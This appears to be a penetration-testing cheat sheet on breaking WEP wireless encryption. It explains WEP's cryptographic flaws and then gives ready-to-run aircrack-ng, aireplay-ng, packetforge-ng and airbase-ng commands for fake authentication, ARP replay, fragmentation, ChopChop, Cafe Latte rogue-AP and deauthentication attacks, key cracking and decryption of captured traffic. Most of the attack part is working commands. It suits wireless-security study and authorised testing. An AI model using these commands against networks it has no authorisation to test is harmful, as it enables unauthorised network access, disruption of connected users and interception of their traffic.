WEP

WEP Weaknesses

WEP (Wired Equivalent Privacy) was designed to provide confidentiality similar to wired networks. It failed badly.

How WEP Works (Simplified)

1. Key : 40 or 104 bits (shared secret)
2. IV : 24-bit Initialization Vector (sent in cleartext)
3. Keystream : RC4(IV + Key) -> generates a pseudo-random stream (PRGA)
4. Encryption : (Data + ICV) ⊕ Keystream

The Flaws

Flaw	Why It's Broken
IV too short	24 bits → only 16 million possibilities. After ~5000 packets, IVs repeat → keystream reuse
ICV (CRC32)	CRC32 is linear, not cryptographic. Attacker can modify packets and recalculate ICV
No replay protection	Captured packets can be reinjected
Weak RC4 implementation	Early keystream bytes are biased → FMS attack (1999)

PRGA / Keystream

The keystream (PRGA) is RC4(IV + Key). If you know the keystream for a given packet size, you can forge any packet of that size. Most WEP attacks aim to recover the keystream.

🔍 Reconnaissance & Association

Fake Authentication (if no client)

WEP has two authentication modes:

• Open: The AP accepts any client. The WEP key is only used for encryption, not authentication.
• Shared Key (SKA): The AP sends a challenge, and the client must encrypt it with the WEP key. This requires knowing the key.

Most WEP networks use Open mode. To inject packets, you must be associated with the AP:

• If a client is connected -> use their MAC (-h $client_mac)
• If no client is connected -> associate yourself with fake authentication

aireplay-ng -1 0 -a $bssid -h $our_mac $interface

This sends an authentication request and an association request. After this, your MAC appears in airodump-ng's station list.

When to use

• Always when no client is connected
• Optionally when a client is connected (you can also use their association)

For long attacks (Fragmentation, ChopChop), maintain the association:

aireplay-ng -1 1000 -o 1 -q 5 -e $essid -a $bssid -h $our_mac $interface

SKA mode

If the AP uses Shared Key mode, fake authentication won't work. You must either:

• Spoof a legitimate client's MAC (if one is connected)
• Capture a successful authentication to extract the keystream (advanced)

📡 Capture & Cracking

Before starting any attack, set up capture and cracking in the background:

# Capture IVs
airodump-ng -c $channel --bssid $bssid -w capture $interface

# Crack (retries every 5000 IVs)
aircrack-ng -a 1 -b $bssid capture.cap

The #Data column in airodump-ng shows the IV count. Once it reaches ~20,000 - 60,000, aircrack-ng will recover the key.

⚔️ Attacks

ARP Replay

Mechanism

• The AP always replies to ARP requests. By capturing one and replaying it, each reply generates a new IV.
• Requires a client connected + an ARP request in the air.

aireplay-ng -3 -b $bssid -h $client_mac $interface

Note

If no ARP request appears, combine with a deauth to force the client to reconnect.

Fragmentation

Mechanism

• Sends fragments to the AP. The AP returns the keystream (PRGA) for that packet size. Use it to forge an ARP request, then inject with ARP Replay to generate IVs.
• Requires being associated with the AP (use fake auth if no client).

# Get PRGA
aireplay-ng -5 -b $bssid -h $our_mac $interface

# Check IPs (optional)
tcpdump -s 0 -n -e -r replay_dec-xxxx-xxxxxx.cap

# Forge ARP request
packetforge-ng -0 -a $bssid -h $our_mac -k $ap_ip -l $client_ip -y fragment-xxxx.xor -w forged.cap

# Inject
aireplay-ng -2 -r forged.cap $interface

No IPs in tcpdump ?

Use broadcast 255.255.255.255 for both -k and -l in packetforge-ng. The AP will still respond.

KoreK ChopChop

• Theory aircrack-ng

Mechanism

• Takes a captured packet, removes the last byte, guesses its value (0-255), and recalculates the ICV. When the AP doesn't respond, the guess was correct. Repeats until the full keystream is recovered.
• Requires being associated with the AP (use fake auth if no client).

# Get PRGA
aireplay-ng -4 -b $bssid -h $our_mac $interface

# Forge ARP request (same as fragmentation)
packetforge-ng -0 -a $bssid -h $our_mac -k 255.255.255.255 -l 255.255.255.255 -y chopchop-xxxx.xor -w forged.cap

# Inject
aireplay-ng -2 -r forged.cap $interface

Cafe Latte

• Theory aircrack-ng

Mechanism

Creates a fake AP to force a client to emit ARP requests, then replays them to the real AP.

1. Deauth client from real AP
2. Fake AP (same BSSID/SSID) attracts client
3. Client emits ARP requests during reassociation → captured
4. Replay ARP requests to real AP → generates IVs
5. Crack with aircrack-ng

Requires a client connected (active or not).

# Listen for ARP
aireplay-ng --caffe-latte -b $bssid -h $client_mac $interface

# Fake AP
airbase-ng -c $channel -a $bssid -e "$ssid" $interface -W 1 -L

# Deauth to force client reconnect
aireplay-ng -0 10 -a $bssid -c $client_mac $interface

🔓 Cracking

Possible key lengths: 64/128/152/256/512 bits

# WEP cracking via IVs
aircrack-ng -a 1 -b $bssid capture.cap

# With key length specified (e.g., 64 bits)
aircrack-ng -a 1 -n 64 -b $bssid capture.cap

Brute Force

# Wordlist
aircrack-ng -a 1 -b $bssid -w rockyou.txt capture.cap

# Generate all 5-byte combinations
john --incremental=ASCII5 --stdout | aircrack-ng -n 64 -a 1 -b $bssid capture.cap -w-

🔐 Decrypt (airdecap-ng)

Decrypt a captured WEP file once the key is recovered:

airdecap-ng -w $wep_key capture.cap